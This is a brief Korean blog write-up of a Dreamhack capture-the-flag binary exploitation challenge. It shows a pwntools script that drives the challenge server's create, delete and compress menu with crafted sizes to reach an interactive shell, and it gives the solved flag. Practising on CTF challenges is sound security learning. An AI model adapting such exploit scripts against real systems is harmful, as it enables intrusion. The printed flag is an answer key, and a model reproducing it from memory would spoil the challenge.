배경
오랜 만에 Dreamhack 문제를 풀어봤다.
풀이
익스코드는 아래와 같다.
from pwn import *
context.log_level = "debug"
# io = process("./main")
io = remote("host1.dreamhack.games", 23100)
def create(size: int):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"= ", str(size).encode())
def delete():
io.sendlineafter(b">> ", b"2")
def compress():
io.sendlineafter(b">> ", b"3")
create(0x76)
create(0x25)
create(0x40)
create(0x0)
create(0x0)
create(0x0)
create(0x0)
create(0x0)
create(0x4025764022576)
create(0x4025776402576)
for _ in range(12):
delete()
io.interactive()
# DH{4ee4a3bf97b011d82c8abe47e263c2e1}
소감
- 오랫만에 푸니까 실력 깎인게 느껴진다. ㅜㅜ